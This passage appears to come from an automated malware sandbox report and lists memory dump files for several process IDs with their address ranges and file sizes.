            • memory/1884-178-0x000001F47D470000-0x000001F47D7E5000-memory.dmp
              Filesize

              3.5MB

            • memory/1884-143-0x00007FFD8DD60000-0x00007FFD8DD84000-memory.dmp
              Filesize

              144KB

            • memory/1884-176-0x00007FFD886B0000-0x00007FFD88768000-memory.dmp
              Filesize

              736KB

            • memory/1884-175-0x00007FFD88770000-0x00007FFD8879E000-memory.dmp
              Filesize

              184KB

            • memory/1884-190-0x00007FFD942A0000-0x00007FFD942AD000-memory.dmp
              Filesize

              52KB

            • memory/1884-180-0x00007FFD88310000-0x00007FFD88324000-memory.dmp
              Filesize

              80KB

            • memory/1884-192-0x00007FFD886B0000-0x00007FFD88768000-memory.dmp
              Filesize

              736KB

            • memory/1884-196-0x00007FFD88940000-0x00007FFD88963000-memory.dmp
              Filesize

              140KB

            • memory/1884-200-0x00007FFD8D960000-0x00007FFD8D98D000-memory.dmp
              Filesize

              180KB

            • memory/1884-201-0x00007FFD88970000-0x00007FFD88F58000-memory.dmp
              Filesize

              5.9MB

            • memory/1884-199-0x00007FFD97D80000-0x00007FFD97D8F000-memory.dmp
              Filesize

              60KB

            • memory/1884-198-0x00007FFD8DD60000-0x00007FFD8DD84000-memory.dmp
              Filesize

              144KB

            • memory/1884-197-0x00007FFD8D940000-0x00007FFD8D959000-memory.dmp
              Filesize

              100KB

            • memory/1884-193-0x00007FFD88330000-0x00007FFD886A5000-memory.dmp
              Filesize

              3.5MB

            • memory/1884-191-0x00007FFD88770000-0x00007FFD8879E000-memory.dmp
              Filesize

              184KB

            • memory/1884-188-0x00007FFD887C0000-0x00007FFD88933000-memory.dmp
              Filesize

              1.4MB

            • memory/2680-61-0x00007FFD9E7A0000-0x00007FFD9E7C3000-memory.dmp
              Filesize

              140KB

            • memory/2680-80-0x00007FFD9F3D0000-0x00007FFD9F3DD000-memory.dmp
              Filesize

              52KB

            • memory/2680-174-0x00007FFD9F3D0000-0x00007FFD9F3DD000-memory.dmp
              Filesize

              52KB

            • memory/2680-169-0x00007FFD89080000-0x00007FFD893F5000-memory.dmp
              Filesize

              3.5MB

            • memory/2680-171-0x000001A5B8210000-0x000001A5B8585000-memory.dmp
              Filesize

              3.5MB

            • memory/2680-203-0x00007FFD89640000-0x00007FFD89C28000-memory.dmp
              Filesize

              5.9MB

            • memory/2680-204-0x00007FFD9F270000-0x00007FFD9F294000-memory.dmp
              Filesize

              144KB

            • memory/2680-326-0x00007FFD89640000-0x00007FFD89C28000-memory.dmp
              Filesize

              5.9MB

            • memory/2680-165-0x00007FFD9E5F0000-0x00007FFD9E61E000-memory.dmp
              Filesize

              184KB

            • memory/2680-27-0x00007FFD89640000-0x00007FFD89C28000-memory.dmp
              Filesize

              5.9MB

            • memory/2680-166-0x00007FFD89400000-0x00007FFD894B8000-memory.dmp
              Filesize

              736KB

            • memory/2680-142-0x00007FFD9F690000-0x00007FFD9F6A9000-memory.dmp
              Filesize

              100KB

            • memory/2680-135-0x00007FFD894C0000-0x00007FFD89633000-memory.dmp
              Filesize

              1.4MB

            • memory/2680-109-0x00007FFD9E7A0000-0x00007FFD9E7C3000-memory.dmp
              Filesize

              140KB

            • memory/2680-108-0x00007FFDA2DD0000-0x00007FFDA2DE9000-memory.dmp
              Filesize

              100KB

            • memory/2680-50-0x00007FFDA7D10000-0x00007FFDA7D1F000-memory.dmp
              Filesize

              60KB

            • memory/2680-32-0x00007FFD9F270000-0x00007FFD9F294000-memory.dmp
              Filesize

              144KB

            • memory/2680-56-0x00007FFD9E950000-0x00007FFD9E97D000-memory.dmp
              Filesize

              180KB

            • memory/2680-82-0x00007FFD88F60000-0x00007FFD8907C000-memory.dmp
              Filesize

              1.1MB

            • memory/2680-179-0x00007FFD88F60000-0x00007FFD8907C000-memory.dmp
              Filesize

              1.1MB

            • memory/2680-77-0x00007FFD9F270000-0x00007FFD9F294000-memory.dmp
              Filesize

              144KB

            • memory/2680-78-0x00007FFD9E710000-0x00007FFD9E724000-memory.dmp
              Filesize

              80KB

            • memory/2680-73-0x00007FFD89640000-0x00007FFD89C28000-memory.dmp
              Filesize

              5.9MB

            • memory/2680-75-0x000001A5B8210000-0x000001A5B8585000-memory.dmp
              Filesize

              3.5MB

            • memory/2680-74-0x00007FFD89080000-0x00007FFD893F5000-memory.dmp
              Filesize

              3.5MB

            • memory/2680-69-0x00007FFD9E5F0000-0x00007FFD9E61E000-memory.dmp
              Filesize

              184KB

            • memory/2680-70-0x00007FFD89400000-0x00007FFD894B8000-memory.dmp
              Filesize

              736KB

            • memory/2680-66-0x00007FFDA35D0000-0x00007FFDA35DD000-memory.dmp
              Filesize

              52KB

            • memory/2680-64-0x00007FFD9F690000-0x00007FFD9F6A9000-memory.dmp
              Filesize

              100KB

            • memory/2680-58-0x00007FFDA2DD0000-0x00007FFDA2DE9000-memory.dmp
              Filesize

              100KB

            • memory/2680-62-0x00007FFD894C0000-0x00007FFD89633000-memory.dmp
              Filesize

              1.4MB

            • memory/3324-227-0x000001E069350000-0x000001E06949F000-memory.dmp
              Filesize

              1.3MB

            • memory/3528-107-0x00000189C32C0000-0x00000189C340F000-memory.dmp
              Filesize

              1.3MB

            • memory/4116-88-0x00000263C3EA0000-0x00000263C3EC2000-memory.dmp
              Filesize

              136KB

            • memory/4116-103-0x00000263C4030000-0x00000263C417F000-memory.dmp
              Filesize

              1.3MB

            • memory/4712-259-0x000001B6C86F0000-0x000001B6C883F000-memory.dmp
              Filesize

              1.3MB

            • memory/4960-21-0x00007FFD8CCB3000-0x00007FFD8CCB5000-memory.dmp
              Filesize

              8KB

            • memory/4960-23-0x00000000003A0000-0x00000000003BC000-memory.dmp
              Filesize

              112KB